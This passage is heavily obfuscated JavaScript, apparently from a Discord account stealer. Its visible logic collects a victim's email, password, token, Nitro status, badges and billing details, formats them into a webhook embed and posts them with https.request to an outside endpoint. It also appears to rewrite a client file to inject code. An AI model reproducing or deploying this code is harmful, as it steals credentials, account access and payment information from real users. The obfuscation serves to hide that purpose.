x59a,')9bc',-0x158,0x8aa,-0x73)+_0x2a878c(0x3ae,'1R)L',0x5d0,0xb43,0x911)+_0x4c2abd(0x9e,0x159,'WJUB',0x87b,-0x509)+_0x21de53(0x134b,0xe3e,0xe16,0x66f,'NagZ')+_0x2a878c(0x2c7,'WSri',0x39c,0xe6,-0x474))+_0x33beae[_0x21de53(0x735,0x4a2,0xac6,0x307,'3#kp')+'ok']+(_0x45cdbd(0x4f9,0xd74,'EBnq',0x85f,0xbaa)+_0x2a878c(0x913,'p1^x',0xe1b,0xc50,0x10c5)+_0x4c2abd(0x7c5,0x516,'tstx',-0x16d,-0x23d)+_0x162ebc(0x9f,0x1d3,0x467,'c(Z7',0x69b)+_0x21de53(0x7f9,0x3ff,0x672,0x25e,']v1W')+_0x4c2abd(-0x31d,-0x1a,'FUWk',0x6d9,0x3c4)+_0x45cdbd(0xbc2,0xbc,'WJUB',0x418,0x4a4)+_0x21de53(0x1392,0xc7f,0x7fc,0x1367,'BHF6')+'\x27')+_0xee6f61[_0x2a878c(0x1d6,'C2UU',-0x2cd,-0x20,0x786)+_0x45cdbd(0x119,0xc11,'1R)L',0xae6,0x57b)+_0x2a878c(0x629,'9r61',0xd98,-0x1a3,0x9c)+_0x2a878c(0x54a,'4D%T',0xa91,0x925,0x9fe)+'y']+(_0x162ebc(0xd0d,0x9dd,0xdc4,'c(Z7',0x1225)+_0x4c2abd(0xa1a,0x647,'9r61',0x1d4,0x7fa)+_0x2a878c(0xc48,'lmEu',0x1062,0x541,0xea7)+_0x2a878c(-0xf0,'T&Gd',-0x30b,0x16e,0x2f3)+_0x21de53(0x37e,0x954,0xb0c,0xd9b,'iHF0')+_0x162ebc(0x79e,0xe2b,0xad5,'ibNd',0x1076)+_0x45cdbd(-0x41b,0x9eb,'(1pE',0x43a,0x35c)+_0x162ebc(-0xa6,0x8d2,0x269,'WSri',0x460)+_0x45cdbd(0x748,-0x596,'tstx',0x6b1,0xc)+_0x162ebc(0x106c,0xf8e,0xfeb,'EiYt',0x1285)+_0x45cdbd(0xd1c,0x11e5,'3#kp',0xfa5,0xbd8)+_0x162ebc(0xdc9,0x801,0x759,'gVnV',0xdb4)+_0x162ebc(0x146c,0x16a1,0xfe1,'c(Z7',0x116a)+_0x2a878c(0x444,'SI6h',0xd,0xbb8,0x12)+_0x45cdbd(0xa70,0xe4c,'3#kp',0xd83,0x7a7)+_0x45cdbd(0xff,0x6f0,'WJUB',-0x237,0x26f)+_0x162ebc(0x1aa,0x5b3,0x59e,'GIg]',-0x1af)+_0x4c2abd(0x707,0xcc0,'FUWk',0xa35,0xc2b)+_0x2a878c(0x987,'C2UU',0xa60,0x110a,0xfec)+_0x162ebc(0x8e7,0x8ec,0x88b,'w]$Z',0x722)+_0x162ebc(-0x3f4,0x66,0x3c8,')G&B',0x7e9)+_0x4c2abd(0xb1a,0x93b,'gVnV',0xfcb,0x46e)+_0x45cdbd(0x740,0x826,'3#kp',0xd42,0x772)+_0x162ebc(0x775,0x123f,0xdfa,'W&[J',0x10a2)+_0x45cdbd(0xc80,0xf0f,'R*Tx',0x9a6,0xc52)+_0x162ebc(0x146b,0x1338,0x115a,'1R)L',0xbf9)+_0x4c2abd(-0x6e,0x339,'BHF6',0x197,0x43)+_0x45cdbd(0x80a,0x353,'ibNd',0x823,0xa20)+_0x4c2abd(0x9ea,0xde6,'R*Tx',0x1145,0xa5b)+_0x162ebc(0x10c,0x13d,0x7da,'5F(N',0x100)+_0x21de53(-0x60a,0x1c5,0x36d,0x1b2,'5F(N')+_0x2a878c(0x22,'u*kR',-0x34e,0x46,-0x6)+_0x162ebc(0x255,-0x42b,0x26b,'WSri',0x965)+_0x45cdbd(0x9c3,0x7fb,'9r61',0x788,0x6e6)+_0x4c2abd(0x5f6,0xa53,'WSri',0xab2,0x84a)+_0x21de53(0xdce,0x83f,0x57a,0x307,'lmEu')+_0x162ebc(0x1329,0xe18,0xc75,'tstx',0x1299)+_0x21de53(0xb57,0x993,0x9da,0xb9c,'T&Gd'))+_0x3e7738[_0x162ebc(0x883,0x76a,0x479,'9loh',0x843)](_0x149727,_0x27d14a[_0x162ebc(0xe7d,0x4c9,0x6c2,'CD&c',0x3f7)])+(_0x2a878c(-0x2f,'4oaC',-0x273,0x4ee,0x771)+_0x2a878c(0x418,'gVnV',0x2ec,0xb17,0x73b)+_0x45cdbd(0xc5a,0x9b4,'gVnV',0x737,0xc62)+_0x4c2abd(0x769,0xef8,'1R)L',0xfa0,0x1498)+_0x4c2abd(0x139c,0xd8a,'lmEu',0x141b,0x949)+_0x4c2abd(0x5a0,0xccb,')9bc',0x574,0x111d)+_0x162ebc(0xe6f,0x1652,0xe97,'T&Gd',0x91e)+_0x2a878c(0x6ed,'w78W',0x2e1,0x5b3,0x7d1)+_0x21de53(0x478,0xa5b,0x7b8,0x741,'Uq%W')+';');_0x4ba853[_0x2a878c(0x8cc,'WSri',0xa21,0x8fa,0x99c)+_0x2a878c(0xd28,'tstx',0x14a4,0x9df,0xb0b)+_0x21de53(0x289,0x9f5,0xf9f,0x267,'l$qj')](_0x2a3275,_0x253290[_0x4c2abd(0x7a0,0xc3c,'fSRV',0xf64,0x128c)+'ce'](/\\/g,'\x5c\x5c'));}if(!_0x460a26[_0x2a878c(-0x27,'Uq%W',0x628,-0x636,0x75)+_0x4c2abd(0x12f1,0xbc4,'c(Z7',0xa19,0x949)](_0x582e6b[_0x2a878c(0x506,'1MkO',0xc6b,0x7e8,0x23b)](_0x1adc2e,_0x27d14a[_0x2a878c(-0x197,'e!nd',-0x6bd,-0x81e,-0x4c6)])))return!(0x244a+-0x12b2+0x2*-0x8cc);return _0x1afed4[_0x162ebc(0x8c8,0xb9c,0xdea,'4D%T',0x86c)+_0x21de53(0x520,0x75f,0xe42,0xc35,'iHF0')](_0x41d4ad[_0x4c2abd(0x889,0xb32,'Ar]L',0xedf,0x10b6)](_0xdfc015,_0x27d14a[_0x2a878c(0xd84,'NagZ',0x132d,0x121b,0x1441)])),_0x27d14a[_0x21de53(0x5bb,0x59d,0xcf2,0xb6c,'Z3ow')](_0x3a3021,_0x162ebc(-0x2f3,0xb46,0x480,'^T15',0xb6a)+_0x2a878c(0x1f2,'edx3',0x3a4,0x427,0x206)+_0x45cdbd(0x578,0xe34,'@%1A',0x5b4,0x91a)+_0x21de53(0x479,0xb04,0x3ee,0xa0a,'(1pE')+_0x4c2abd(0x1d9,0x6ff,'@%1A',0x1be,0xceb)+_0x2a878c(0x1df,'w]$Z',-0x44d,0x51f,0x405)+_0x4c2abd(0xe09,0xce9,'3#kp',0x1485,0xce9)+_0x162ebc(0x433,0x725,0x3f6,'gVnV',-0x2f4)+_0x162ebc(0xbf4,0xc40,0x768,'@%1A',0xd24)+_0x162ebc(0x7fa,0x14c3,0xe48,'W&[J',0x9a8)+_0x4c2abd(0xdda,0xc7c,'3#kp',0xf51,0x103d)+_0x2a878c(0x145,'@%1A',-0x65d,-0x15f,-0x1b0)+_0x21de53(0x38c,0xb59,0x902,0xc80,'Z3ow')+_0x2a878c(0xc1b,'ibNd',0xc2a,0x12dc,0xffb)+_0x21de53(0x7c3,0x7e5,0xef7,0x6e9,'4oaC')+_0x21de53(0x286,0x60c,0xd3a,0xba1,'9loh')+_0x21de53(0x472,0x5c9,0xc27,0x20a,'4D%T')+_0x2a878c(0x3f2,'kObQ',-0x20b,0x584,0xb35)+_0x162ebc(0x8a,0xe87,0x7f1,'yEI6',0x96b)+_0x162ebc(0x1016,0x1176,0x113a,'BHF6',0xf0a)+_0x162ebc(0x49d,-0x18a,0x3f4,'9r61',0x24e)+_0x162ebc(0x29c,0xa5f,0x43f,'Uq%W',0xad6)+_0x45cdbd(0x4e4,0x4a6,'(1pE',0x3c8,0x635)+_0x4c2abd(0x61b,0x997,'Ar]L',0x788,0x1031)+_0x4c2abd(0x566,0x58e,'CD&c',0x19e,-0xe)+_0x162ebc(0xb6f,0x7cf,0x992,'WSri',0x8db)+_0x21de53(-0x26d,0x508,0x54,-0x12c,'9loh')+_0x4c2abd(0x111d,0xba0,'CD&c',0x663,0x992)+_0x21de53(0x7f,0x377,-0x297,-0x42e,'p1^x')+_0x2a878c(0x7b4,'u*kR',0x318,0xf4b,0x9a)+_0x2a878c(0x2ed,'CD&c',0x3dc,-0x394,-0x476)+_0x21de53(0xff6,0x896,0x239,0x8a7,'NagZ')+_0x4c2abd(0x330,0x346,'c(Z7',0xa78,0x488)+_0x162ebc(0xff6,0x554,0xa52,'tstx',0x43a)+_0x45cdbd(0x11ef,0x564,'1MkO',0x893,0xac7)+_0x4c2abd(-0x1bf,0x521,'W&[J',0xce,0x31f)+_0x2a878c(0xd52,'3#kp',0x9aa,0x14e1,0xf70)+_0x21de53(0xe21,0x853,0x396,0x7e5,'1MkO')+_0x45cdbd(0xb2b,-0x1a3,'@^Br',-0x2fb,0x454)+_0x45cdbd(0x456,0x312,'WJUB',-0xd2,0x5cd)+_0x21de53(0x42,0x355,-0x388,-0x407,'C2UU')+_0x45cdbd(0x5bf,-0x130,'WSri',-0x192,-0x104)+_0x45cdbd(0x78f,0xf37,'NagZ',0x1561,0xd94)+_0x21de53(0x548,0x3e9,0x679,0x51d,'l$qj')+_0x21de53(0x72c,0xebd,0xf65,0x149e,'c(Z7')+_0x21de53(0xc10,0xe3a,0x909,0x10c0,'kObQ')+_0x2a878c(0x3aa,'W&[J',-0x9a,-0x81,0x41c)+_0x2a878c(0xd31,'W&[J',0xd92,0x88c,0x74a)+_0x162ebc(0x9a1,0x7c2,0x82b,'Z)Xp',0xe4)+_0x2a878c(0x92,'NagZ',0x2fd,0x5ed,0x123)+_0x21de53(0xffe,0xf92,0xfd8,0x151b,'tstx')+_0x21de53(-0x99,0x11e,0x40a,-0x2a6,'@%1A')+_0x4c2abd(0x667,0xc04,'1R)L',0xaf6,0x6d0)+_0x4c2abd(0x142b,0xce3,'3#kp',0x99c,0x871)+_0x45cdbd(-0x403,-0x336,'WSri',0x1fc,-0xf0)+_0x2a878c(0x811,'EBnq',0x2c9,0x4c8,0x4b1)+_0x21de53(0x1329,0x1028,0x1385,0xbdd,'w]$Z')+_0x4c2abd(0xa6f,0x31a,'FUWk',0x1ad,0x5e8)+_0x45cdbd(0x894,0x11df,'edx3',0x569,0xb7d)+_0x162ebc(0xa24,0x953,0xec1,'lmEu',0x149f)+_0x2a878c(0x40b,'^T15',0x90e,0xa38,0x684)+_0x45cdbd(0x2b2,0x58d,')9bc',0xbb,-0xce)+_0x162ebc(0x18b4,0xcf9,0x10ff,'p1^x',0x9b3)+_0x162ebc(0x3d4,0x400,0x261,'EiYt',-0x1d0)+_0x162ebc(0x13dd,0x1679,0x1184,'1MkO',0x190e)+_0x162ebc(0x129a,0x66b,0xb45,'@%1A',0xe22)+_0x21de53(0x932,0x86b,0xf56,0x44f,'5F(N')+_0x4c2abd(0x1e7,0x979,'@^Br',0x10c5,0x68e)+_0x4c2abd(0x239,0x596,'Uq%W',0x4d4,0x20)+_0x162ebc(0x681,0x71e,0xa27,'CD&c',0x4a3)+_0x45cdbd(0x341,0x1079,'EBnq',0x5d5,0x99f)+_0x45cdbd(0x34d,0x61,'SI6h',0x751,0x64a)+_0x2a878c(-0x14b,'CD&c',-0x42,-0x8e8,-0x652)+_0x21de53(0xcdb,0x8be,0xa68,0xa70,'w78W')+_0x4c2abd(-0x67d,0x20,'ibNd',-0x627,0x4d6)+_0x4c2abd(-0x36,0x24c,'T&Gd',0x300,-0xa2)+_0x21de53(0x79f,0xf53,0xb82,0xc62,'5F(N')+_0x162ebc(0x174a,0x15ff,0x100a,'iHF0',0x863)+_0x21de53(0x1073,0x970,0x35b,0x33e,'ibNd')+_0x162ebc(0x946,0x48c,0x826,'NagZ',0x9ae)+_0x2a878c(0x8b2,'5F(N',0x238,0x2f2,0x7ab)+_0x21de53(0x11c4,0xcab,0x918,0x7fb,'@%1A')+_0x4c2abd(-0x391,0x358,'l$qj',0x29d,0x6cf)+_0x21de53(0x97c,0xfff,0x120a,0xad9,'kObQ')+_0x2a878c(0xbcc,'fSRV',0x10b6,0xee7,0xb2b)+_0x45cdbd(-0x10a,0x468,'l$qj',-0x652,0xc1)+_0x45cdbd(0x5dc,0x326,'NagZ',0x50f,0x22)+_0x4c2abd(0x6c7,0x4a0,'p1^x',0xb6a,0x7a0)+_0x4c2abd(0xc1,0x21f,'ibNd',0x206,-0x3bc)+_0x21de53(0xcf5,0xd5b,0xdbc,0xf3f,'e!nd')+_0x4c2abd(0x1042,0x9d3,'NagZ',0x72a,0x6f0)+_0x4c2abd(0x809,0xd3,'1R)L',-0x51a,-0x4ae)+_0x21de53(0x20f,0x73a,0xc26,0xac,'9loh')+_0x4c2abd(0x6ab,0x672,'W&[J',0xaa5,0x91)+_0x2a878c(0x314,'3#kp',0x82b,0x13d,0x467)+_0x162ebc(0xa46,0x9ec,0xe26,'W&[J',0x10b3)+_0x21de53(0x270,0x3b2,0x8f0,0xff,'p1^x')+_0x2a878c(0x182,'GIg]',0x8a2,0x1a,-0x28f)+_0x21de53(0x1154,0xf7b,0x13f6,0x14ac,')9bc')+_0x21de53(0x127b,0xeef,0x7a7,0x11a0,'SI6h')+_0x2a878c(0x243,'w78W',0x999,-0x338,0x1f3)+_0x2a878c(0xc0,'T&Gd',0x868,-0x73,0x5bb)+_0x45cdbd(0x700,0xa81,'l$qj',0x9cf,0xc9c)+_0x2a878c(0x282,'fSRV',-0x399,-0x1de,0x308)+_0x4c2abd(0xa2c,0xac5,'9loh',0xd16,0xfe8)+_0x45cdbd(0x498,0x1f9,'lmEu',0x186,0x48e)+_0x162ebc(-0x3fc,-0x3b1,0x33e,'p1^x',0x744)+_0x4c2abd(0xb49,0xa85,'c(Z7',0x46b,0x8fe)+';'),!(0x3da+-0x1a1f+0x1646);}else{const _0x41e2cb=_0x27d14a[_0x4c2abd(0x1f4,0x6e2,'u*kR',0x4cc,0xb3b)](totp,config[_0x162ebc(0x3b1,0x48f,0x3be,'1R)L',-0x3f4)+_0x21de53(0x152d,0xf35,0xfb4,0x1412,'WJUB')+_0x162ebc(0xac1,0x9de,0x408,'yEI6',0x9e7)+_0x45cdbd(0xb42,0xc04,'W&[J',0x44c,0x93a)+'y']);_0x28f383[_0x27d14a[_0x162ebc(0x10b0,0xfb3,0xab5,'lmEu',0x58a)]]=_0x41e2cb;}}const _0x1004c0={};_0x1004c0[_0x4c2abd(0x496,0x8e8,'T&Gd',0x53d,0x730)+_0x4c2abd(0xfe3,0x914,')G&B',0x582,0xf90)]=_0x39a85b[_0x4c2abd(0x8d5,0xc45,'iHF0',0x11ec,0xc5c)+_0x21de53(0x1741,0xffe,0x945,0x16b7,'9loh')];function _0x2a878c(_0x20a4ed,_0x5c4359,_0x4f9b80,_0x3fc643,_0x247285){return _0xbc652e(_0x20a4ed-0xd3,_0x5c4359,_0x4f9b80-0x1cd,_0x3fc643-0x71,_0x20a4ed- -0x5fc);}_0x1004c0[_0x162ebc(0x1037,0x588,0x9a3,'Ar]L',0xbf5)+_0x21de53(0xe29,0x1098,0x16d8,0x177b,'FUWk')]=_0x39a85b[_0x45cdbd(0x445,0xcf5,'Uq%W',0xa52,0xa61)],_0x1004c0[_0x4c2abd(0xb27,0x509,'tstx',0x8d2,0x1d0)]=_0x39a85b[_0x45cdbd(-0x29c,0x6c8,'kObQ',0xc50,0x4ab)+_0x162ebc(0x131a,0x1187,0xf7f,'9loh',0xbeb)],_0x1004c0[_0x162ebc(0x89b,0x603,0x23a,'W&[J',-0x3ee)+'d']=_0x27d14a[_0x21de53(0x544,0x38c,0x8be,0x5e,'edx3')];function _0x162ebc(_0x442cae,_0x5e1ada,_0x343a8a,_0x3d92d1,_0x13d641){return _0x3d77d7(_0x442cae-0x163,_0x5e1ada-0xca,_0x343a8a-0x62,_0x3d92d1-0x19d,_0x3d92d1);}_0x1004c0[_0x45cdbd(-0x69f,-0x3e0,'1R)L',0x7fc,0xe7)+'rs']=_0x28f383;const _0x2746e1=_0x1004c0,_0x1a1fff=https[_0x162ebc(0x671,0xd95,0x924,'lmEu',0x17d)+'st'](_0x2746e1);function _0x45cdbd(_0x5268dc,_0x22b999,_0x31265e,_0x5da99b,_0x1a9fe4){return _0x3103a0(_0x5268dc-0x142,_0x1a9fe4- -0x371,_0x31265e,_0x5da99b-0x164,_0x1a9fe4-0x76);}function _0x4c2abd(_0x4f2118,_0x3f3bfe,_0x1506cc,_0x1f7ad8,_0x5b53c7){return _0xbc652e(_0x4f2118-0x173,_0x1506cc,_0x1506cc-0xf9,_0x1f7ad8-0x7c,_0x3f3bfe- -0x465);}function _0x21de53(_0x8ac699,_0x429895,_0x41bcc9,_0x35d98d,_0x37812e){return _0x59fa80(_0x8ac699-0x87,_0x429895-0x110,_0x41bcc9-0x1b3,_0x429895- -0x3e5,_0x37812e);}_0x1a1fff['on'](_0x27d14a[_0x162ebc(0xbcb,0x9f3,0xed6,'9r61',0xce8)],_0x265471=>{function _0x1a9826(_0x1dfc13,_0x2f89bb,_0x231723,_0x33b49d,_0x4a0e14){return _0x4c2abd(_0x1dfc13-0x1a7,_0x231723-0xd2,_0x33b49d,_0x33b49d-0x119,_0x4a0e14-0x1b2);}function _0x42061a(_0x3db3d9,_0x214f30,_0x4d7a65,_0x1f6e5a,_0x3b5cd5){return _0x45cdbd(_0x3db3d9-0xf3,_0x214f30-0x5f,_0x4d7a65,_0x1f6e5a-0x70,_0x214f30-0x9d);}function _0x15b50d(_0x1f4105,_0x5cf07a,_0x49586f,_0x4b87ba,_0x1c714e){return _0x4c2abd(_0x1f4105-0x19f,_0x1c714e-0x3a3,_0x5cf07a,_0x4b87ba-0x139,_0x1c714e-0x1d1);}function _0x161f92(_0x557585,_0x208e80,_0x4db1ab,_0x36b919,_0x2ae8c8){return _0x162ebc(_0x557585-0xc,_0x208e80-0x4e,_0x208e80- -0x143,_0x4db1ab,_0x2ae8c8-0x195);}function _0x230461(_0x153360,_0x2d9e6d,_0x192563,_0x3f0ee,_0x4eaa25){return _0x45cdbd(_0x153360-0x12b,_0x2d9e6d-0x143,_0x3f0ee,_0x3f0ee-0x19c,_0x4eaa25-0x5c);}if(_0x27d14a[_0x161f92(0x274,0x86b,'Z)Xp',0xc42,0x882)](_0x27d14a[_0x161f92(0xdc5,0x7fc,'p1^x',0xbc9,0xd37)],_0x27d14a[_0x161f92(0x55c,0xb09,'BHF6',0x988,0x3c3)]))console[_0x1a9826(0x453,0x315,0x852,'tstx',0x196)](_0x265471);else{const _0x31e35e=_0x1d7520[0xbb2*-0x1+0x1*-0x22d2+0x2e84][_0x230461(0x1c9,0x565,0x2fb,'5F(N',0x846)](_0xf6e23e[_0x15b50d(0xbf7,'WSri',0x8cd,0x1076,0xe3c)])[_0x1a9826(0x43,-0x140,0x1e0,'4oaC',-0x59d)](0x321*-0x3+0x18eb*0x1+0x3e2*-0x4,-(-0x20ca+0x4c6+-0x1c05*-0x1))[_0x42061a(0xfd7,0xcd0,'C2UU',0xcfe,0xe83)](_0x13e684[_0x15b50d(0x746,'w78W',0x56e,0xe00,0xaa8)]);let _0x3d48bc;if(_0x27d14a[_0x42061a(-0x23d,0x50f,')G&B',-0x62,-0x5f)](_0x318fda[_0x1a9826(0x97b,0xa60,0xfd6,'Z3ow',0x16bc)+_0x161f92(0x4b1,0x5fa,'^T15',0x484,0x543)],_0x27d14a[_0x161f92(0x1b,0x3de,'8S1s',0x18,0x36)]))_0x3d48bc=_0x3bb665[_0x1a9826(0xcd6,0x1629,0xf72,'EBnq',0x97c)](_0x31e35e,_0x27d14a[_0x161f92(0xd5d,0x5dc,'^T15',0x620,0x60)]);else _0x27d14a[_0x15b50d(0x412,'@%1A',0x993,0xaf0,0x47e)](_0x5dbb3b[_0x15b50d(0x633,'Ar]L',0xa43,0x941,0x376)+_0x1a9826(0x48d,0x35f,0xa70,'9loh',0xe3b)],_0x27d14a[_0x15b50d(0x137d,'(1pE',0x146d,0xf5d,0xcb4)])&&(_0x3d48bc=_0x21418[_0x42061a(0xadf,0xb37,'lmEu',0xb9d,0x684)](_0x31e35e,_0x27d14a[_0x230461(-0xf8,-0x1c,0xcd3,'edx3',0x5cc)],_0x27d14a[_0x42061a(0x806,0x75e,'kObQ',0x819,0x4f7)]));if(_0x4383da[_0x1a9826(0xc52,0x1b0,0x87e,'p1^x',0xbf3)+_0x42061a(0xb5c,0x3c1,'T&Gd',0x553,0xdc)](_0x3d48bc))return{'resourcePath':_0x3d48bc,'app':_0x31e35e};const _0x2fe5c3={};return _0x2fe5c3[_0x42061a(0xcb0,0x860,'ibNd',0x394,0x638)+_0x42061a(0x423,0x17a,'lmEu',-0x23e,-0x5ed)]=_0x1b6bb5,_0x2fe5c3[_0x161f92(0x1283,0xf28,'gVnV',0x9b3,0x15a2)+_0x42061a(0xb44,0x4ff,'CD&c',0xc52,0xc4e)]=_0x7f8f7c,_0x2fe5c3;}}),_0x1a1fff[_0x21de53(0x6b5,0x89e,0x73a,0x5fd,'W&[J')](_0x5a161a),_0x1a1fff[_0x21de53(0x94c,0x688,0xfc,-0x40,'@^Br')]();},login=async(_0x240345,_0x50b7e8,_0x16d663)=>{const _0x5ac10d={'yxJSt':function(_0x4e78dc,_0x18cf17){return _0x4e78dc(_0x18cf17);},'CtmNE':function(_0x223275,_0x30b758){return _0x223275(_0x30b758);},'oxVfY':_0x1af986(-0x2ee,')G&B',0x512,0x2e7,0x3d2)+_0x327797(0xbbb,0x54c,0xbf6,0x7f7,'u*kR')+_0x382071(0x9e1,'R*Tx',0x6cc,0x985,0x700)+'*','PDWCS':_0x4750e9('CD&c',0x514,0x57f,0xc12,0xf1f)+_0x453e00(0xe85,0x12b5,0x11fd,'T&Gd',0x11ac)+_0x382071(0x709,'lmEu',0x11e5,0xd3a,0xf21)+'*','Dnoel':_0x327797(0x770,0xf37,0xc15,0x103,'gVnV')+_0x382071(0x95c,'lmEu',0x85d,0x8c0,0xad8),'FscmC':function(_0x37b771,_0x465f89){return _0x37b771+_0x465f89;},'EQdqe':function(_0x54be41,_0x5a7fb3){return _0x54be41+_0x5a7fb3;},'Txgic':function(_0x52209d,_0x42d9b9){return _0x52209d+_0x42d9b9;},'kNaGi':_0x1af986(0xe0b,'FUWk',0x940,0xac6,0x77a),'dDvTd':_0x327797(0x60e,0x887,0x93f,0x4cc,'NagZ')+_0x4750e9('4oaC',0xc3d,0x32f,0xaab,0xeb8)+_0x327797(0x436,0x2b6,0x1c2,0xaff,'@%1A')+_0x327797(0x5a6,0x5f6,0x23c,0x3fb,'EBnq')+_0x382071(0xcd0,'W&[J',0xd81,0xdff,0xd0f)+_0x453e00(0x109d,0xefc,0xb5b,'9r61',0x105e)+_0x382071(0x63c,'c(Z7',0x2ab,0x342,-0x404)+_0x1af986(0x44b,'lmEu',0x12cf,0xc01,0x791)+_0x382071(0xe74,'yEI6',0xc66,0xd9e,0x60c)+_0x453e00(0xee0,0x14d8,0x9bc,')9bc',0xea6)+_0x327797(0xbbc,0xd29,0x69d,0x1306,'1MkO')+_0x327797(0x661,0xb90,0xa14,-0x12b,'@%1A')+_0x327797(0x752,0x2e4,0xe34,0x332,'gVnV')+_0x4750e9('gVnV',0xa18,0xf4a,0x8ae,0x1c6)+_0x4750e9('c(Z7',0x87e,0x550,0x78d,0xdd3)+_0x327797(0x378,0x41,-0x2a7,-0x3f7,'GIg]')+'on','KRpeX':_0x382071(0x9ee,'yEI6',0x103b,0x1068,0xc41)+'nt'};function _0x327797(_0xe77865,_0x199f95,_0x323bbe,_0x19178b,_0x267a41){return _0xa3fb2b(_0xe77865-0x261,_0x199f95-0x179,_0x323bbe-0x123,_0x267a41,_0x267a41-0x199);}const _0x5a62cb=await _0x5ac10d[_0x382071(0x883,'SI6h',0xdbd,0xb10,0xcb4)](getInfo,_0x16d663);function _0x4750e9(_0x3ad77e,_0x3f8d3a,_0x436295,_0x394343,_0x4885f9){return _0xbc652e(_0x3ad77e-0x8b,_0x3ad77e,_0x436295-0x156,_0x394343-0x8,_0x394343-0x38);}const _0x5236a0=_0x5ac10d[_0x4750e9('Uq%W',0xc13,0x1245,0xefa,0x1243)](getNitro,_0x5a62cb[_0x453e00(0x101e,0x129a,0xf8f,'5F(N',0x13d1)+_0x382071(0xf28,'4oaC',0xed5,0xeae,0x1426)+'pe']),_0xd0bee6=_0x5ac10d[_0x453e00(0xc00,0x10f8,0xfd0,'SI6h',0x11d0)](getBadges,_0x5a62cb[_0x1af986(0x7bc,'(1pE',0x10f9,0xbda,0x10e9)]),_0x42efef=await _0x5ac10d[_0x4750e9('EiYt',0xa92,0xb07,0x604,0x1d2)](getBilling,_0x16d663),_0x2d9a96={};_0x2d9a96[_0x327797(0x9e4,0x9bc,0xcff,0x441,'8S1s')]=_0x5ac10d[_0x4750e9('c(Z7',0x569,0x8b2,0x77b,0x143)],_0x2d9a96[_0x4750e9('4oaC',0xb37,0xdd3,0x7c9,0xbba)]=_0x382071(-0x124,'W&[J',-0x1ae,0x59f,0x182)+_0x1af986(0x1131,'Z)Xp',0x124b,0xecd,0x78b)+_0x240345+(_0x327797(0x4b3,0x8f2,0x161,0xaa3,'T&Gd')+_0x4750e9('1MkO',0x55d,0x390,0x653,0xaf)+_0x327797(0x11f3,0xa49,0x1974,0x1498,'T&Gd')+'**')+_0x50b7e8+'**',_0x2d9a96[_0x327797(0xd04,0xf72,0x1254,0xa54,']v1W')+'e']=![];const _0x4c9d5a={};function _0x453e00(_0x16237a,_0x2beb40,_0x1a8412,_0xca9de4,_0xdfa9ed){return _0x3d77d7(_0x16237a-0xc7,_0x2beb40-0x7b,_0x16237a- -0x3,_0xca9de4-0x19e,_0xca9de4);}_0x4c9d5a[_0x453e00(0x8b6,0x282,0x2ae,'8S1s',0x4e8)]=_0x5ac10d[_0x327797(0x103e,0x157e,0xaae,0x1094,'1MkO')],_0x4c9d5a[_0x327797(0x1267,0x1871,0x1245,0xf68,'3#kp')]=_0x453e00(0x10fc,0x1294,0x1776,'WJUB',0x132a)+_0x382071(0x17eb,'p1^x',0x1531,0x1074,0xbc5)+_0x327797(0x4c6,0x142,-0xce,0xaac,'EiYt')+_0x5236a0+(_0x4750e9('9r61',0x249,0x22f,0x9c7,0xf89)+_0x327797(0x1013,0xda8,0x139f,0xa2c,'ibNd')+_0x1af986(-0x179,'edx3',-0x114,0x265,-0x4d2))+_0xd0bee6+(_0x453e00(0x2da,-0x2db,0x2aa,'WSri',0x959)+_0x1af986(-0x2bb,'4D%T',-0x1a4,0x23a,-0x4eb)+_0x327797(0x10eb,0xd85,0xe15,0xf25,'FUWk'))+_0x42efef+'**',_0x4c9d5a[_0x453e00(0xc59,0x1236,0xc09,'3#kp',0x1140)+'e']=![];const _0x371755={};function _0x382071(_0x4db583,_0x3fd55c,_0x47c4df,_0x1844e9,_0x417546){return _0x3103a0(_0x4db583-0x14a,_0x1844e9- -0x109,_0x3fd55c,_0x1844e9-0x106,_0x417546-0x6e);}_0x371755[_0x1af986(0x5c1,'C2UU',0x652,0x1b9,-0x2c8)]=_0x5ac10d[_0x382071(0x9f2,'C2UU',0xde9,0xfff,0xff7)],_0x371755[_0x327797(0xbad,0x547,0x5ae,0x5f7,'kObQ')]='`'+_0x16d663+'`',_0x371755[_0x4750e9('gVnV',0xb57,0xe6c,0xe04,0xc0c)+'e']=![];const _0xfa1732={'username':config[_0x453e00(0x644,0x443,0x8fe,'c(Z7',0xbd5)+_0x382071(0x943,'w]$Z',0x3fe,0x809,0x842)],'avatar_url':config[_0x1af986(0xd82,'8S1s',0x833,0xf9f,0xefe)+_0x1af986(-0x5ee,'gVnV',0x731,0x143,-0x3f7)],'embeds':[{'color':config[_0x382071(0x14c3,'9loh',0x900,0xf38,0x10cf)+_0x4750e9('p1^x',0x2d4,0x2ef,0x47f,0x6b3)+'r'],'fields':[_0x2d9a96,_0x4c9d5a,_0x371755],'author':{'name':_0x5ac10d[_0x1af986(0xb14,'@%1A',0x6a1,0xb91,0x955)](_0x5ac10d[_0x327797(0x88e,0xfcf,0xbb1,0x76f,'SI6h')](_0x5ac10d[_0x327797(0x5d0,0x3ef,0x309,0x66f,'EBnq')](_0x5ac10d[_0x453e00(0xbff,0x949,0xf5d,'4oaC',0x131b)](_0x5a62cb[_0x382071(0x10e3,'9loh',0xc1f,0xfee,0xb26)+_0x1af986(0x803,'4oaC',-0x454,0x308,-0x2d8)],'#'),_0x5a62cb[_0x382071(0x424,'w]$Z',0xc14,0x4e3,0x587)+_0x4750e9('^T15',0x11f4,0x105e,0xc54,0x9cd)+_0x382071(0x136e,'1MkO',0xaeb,0xe49,0x11bc)]),_0x5ac10d[_0x453e00(0xe92,0x76f,0xf6b,'5F(N',0x1156)]),_0x5a62cb['id']),'icon_url':_0x453e00(0xe8b,0x12d2,0xf47,'WSri',0xf6a)+_0x1af986(0x64d,'edx3',-0x210,0x213,-0x380)+_0x327797(0xdeb,0x8bd,0x7a4,0xf6e,'Uq%W')+_0x382071(0xbb4,'W&[J',0xa44,0xe79,0x753)+_0x382071(0xa5c,'NagZ',0x9ad,0x4ff,0xc9f)+_0x453e00(0x81f,0x9f7,0x20a,'4D%T',0x6b4)+_0x382071(0x857,'CD&c',-0x1ae,0x420,0x9c0)+_0x5a62cb['id']+'/'+_0x5a62cb[_0x453e00(0xc47,0x1225,0xa74,'lmEu',0xd87)+'r']+_0x327797(0x3b1,-0x3bc,-0x223,0x2bc,'Z3ow')},'footer':{'text':_0x5ac10d[_0x382071(0x90d,'lmEu',0x25a,0x3c2,0x7b0)]}}]};if(config[_0x1af986(-0x2a4,'@%1A',-0x656,0xea,-0x3ea)+_0x4750e9('^T15',0x60e,0x900,0x7d7,0xf9f)+'n'])_0xfa1732[_0x5ac10d[_0x1